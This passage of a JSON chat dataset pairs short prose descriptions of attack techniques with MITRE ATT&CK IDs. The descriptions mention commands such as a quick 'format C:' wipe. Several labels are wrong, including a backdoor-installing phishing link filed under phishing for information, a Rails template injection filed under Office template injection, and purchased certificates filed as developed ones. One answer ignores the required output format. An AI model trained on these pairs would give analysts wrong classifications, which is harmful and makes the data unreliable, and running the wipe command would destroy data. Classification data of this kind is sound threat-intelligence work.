                "content": "Attackers leveraged a compromised code‑signing authority’s certificate to sign malicious drivers, allowing them to load at kernel level without user prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the configuration repository of a wireless controller and extracts settings for rogue AP deployment."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz's Kerberoast module, the attacker harvests TGS tickets for accounts with Service Principal Names and attempts to crack the ticket hashes offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a privileged command to set the OS firewall policy to 'AllowAll' on a macOS device."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a fresh domain name to host malicious payloads and C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages ARP cache poisoning to intercept and possibly alter packets between two endpoints on the same LAN."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script leverages traffic signaling by sending low‑volume, periodic packets that blend with background noise."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign involves sending employees a fake invoice email containing a hyperlink that installs a backdoor after the victim clicks it."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs HTTP chunked transfer encoding to stream commands continuously."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows API NetGroupGetInfo to collect domain group information."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script saves user credentials in the registry key HKCU\\Environment\\Creds to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers build exploit modules for a popular remote code execution vulnerability to add to their toolkit."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware removes its own executable and associated configuration files after successful deployment."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage an obscure Azure region that the victim never enables, exploiting it as a foothold for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor uses a custom NDIS filter to hide its outbound communications by encrypting and tunneling them through legitimate traffic streams."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a privileged script to dump the Keychain database and capture user authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain with privacy protection to hide its identity and hosts malicious content on a shared hosting platform."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a DLL with a forged digital signature that appears to be signed by a trusted vendor, allowing it to bypass Windows defenses."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LNK icon smuggling is employed to disguise the malicious command line in the shortcut’s metadata, making the payload appear as a normal desktop shortcut."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the \"sudo -u\" command with a cached credential to gain root privileges on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stored its payload in a renamed .dll file with random characters to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload includes a network sniffing module that intercepts and stores all traffic on the host."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker wraps sensitive data in a JSON object and then applies JWT signing without encryption."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerated domain computers by issuing NetView commands to list all machines in the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries design a stealthy keylogger to install on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses code signing certificates obtained from a dark web marketplace to sign ransomware executables."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clone an open‑source password cracking tool from a public repo and modify it for their campaign."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an unquoted command line in a scheduled task by creating a folder named 'C:\\Program Files\\Windows NT' with a fake 'system.exe' that runs before the real system binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor gathers client configuration data by scanning for installed security tools and system hardening settings."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised social media account to post direct messages that claim a security update is required, leading users to a web page that collects their email addresses and login tokens."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace a standard PowerShell script in a shared repository with a compromised version that downloads additional ransomware."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor infects routers with malware that reports back to a C2 server, forming a botnet."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential acquisition by intercepting Kerberos tickets (Pass the Ticket)."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious scheduled SQL job calls a newly added stored procedure which dumps the entire database to a remote FTP location."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast‑flux DNS is used to provide redundancy and anonymity for malicious services by continually changing the IP address mapping of a domain."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious add‑in modifies the mailbox settings to hide any email from a particular sender by moving it to a hidden subfolder and removing it from the default view."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to bypass static analysis, the malicious program pads its executable with irrelevant data and no‑operation instructions."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary subscribes to a premium threat intelligence feed and regularly queries the vendor's API for newly reported Indicators of Compromise related to a targeted industry."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the red team gathers a list of installed software and patches across the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs a batch file that invokes \"format C:\" with the /Q flag to quickly erase the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor fragments exfiltrated database dumps into 50 KB segments to stay within the network’s per‑transfer size policy."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a forced authentication request on a remote desktop service, compelling the victim to provide their credentials under duress."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Make use of insider accounts for initial access, leveraging trusted access for undetected entry"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the domain name from the victim's email headers to map the network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses LXC to instantiate a container that runs a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies all PDF files from the user’s Documents folder to a hidden archive."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a firmware corruption via voltage glitching to gain control over the system."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears system caches and then deletes all recently modified files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious Office theme file that runs a script on application startup, leading to execution of ransomware via the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious directory into the system's library search path, the attacker causes the OS to load their malicious library before the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool reconfigures the system to always boot into Safe Mode, ensuring that endpoint protection cannot initialize."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates local user groups on the compromised Windows machine using the 'net localgroup' command."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a third‑party CDN to serve dynamic JavaScript that contains C2 instructions."
            },
            {
                "role": "assistant",
                "content": "Criminals utilize content delivery networks (CDNs) like cloud-based hosting services to host or deliver portions of their malicious payload, including command-and-control (C2) logic. By using legitimate CDNs—such as GitHub Pages, GitLab, AWS CloudFront, or Azure CDN—they blend in with normal traffic and evade detection from network defenses. The malware running on the victim’s system periodically fetches JavaScript code hosted on the CDN, which can change dynamically to provide new commands, redirect C2 communication, update credentials, or load additional payloads. This approach allows attackers to modify infrastructure remotely without redeploying servers.\n\nThis technique uses a common application layer protocol with legitimate business use and benefits from high availability, encryption by default in many cases (HTTPS), and often whitelisted domains—making network-based blocking difficult. It is frequently combined with domain generation algorithms or fast-flux DNS to further obfuscate communications.\nT1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider downloaded secrets from HashiCorp Vault that were used to access production systems."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a new launchd job in /System/Library/LaunchDaemons to launch a credential‑stealing binary with root privileges on login."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool translates sensitive files into a custom ROT13 scheme before embedding them in a PDF attachment."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures screenshots of active remote desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a harmful command to the RC script in /etc/rc.d/rc.local, causing it to execute on every reboot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the Windows registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters to discover DNS servers."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By targeting accounts without Kerberos pre‑authentication, the attacker harvests AS‑REP responses and uses brute‑force to recover the service tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious folder to the system’s library search path using environment variable manipulation, resulting in the loading of their code before the legitimate libraries."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group alters the executable of a messaging client to exfiltrate chat history and contacts."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtains the target's internal security policies and incident response playbooks by paying a former employee."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hijacks the Windows Trust Provider API to bypass user authentication and gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the TLS data structures of a system process to inject and run their code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use Google dorks to find publicly accessible .env files in repositories on platforms such as GitHub and GitLab."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script registers a recurring transfer of encrypted archives to a malicious cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages environment variable expansion to build and execute hidden command sequences."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a silicon wafer testing lab results in the insertion of a hardware trojan that activates under specific command sequences."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program clears the Linux audit logs after gaining privileged access."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the campaign, the malicious actor configures a custom proxy tool that routes communications through three sequential compromised machines, each adding a layer of encryption."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an attacker leverages insider threats to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user includes <%=%> tags in a Ruby on Rails view, exploiting the template rendering process to execute shell commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captured session cookies from Twitter, allowing the adversary to maintain persistent access to the accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors routinely encode stolen files with Base64 to bypass content filters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
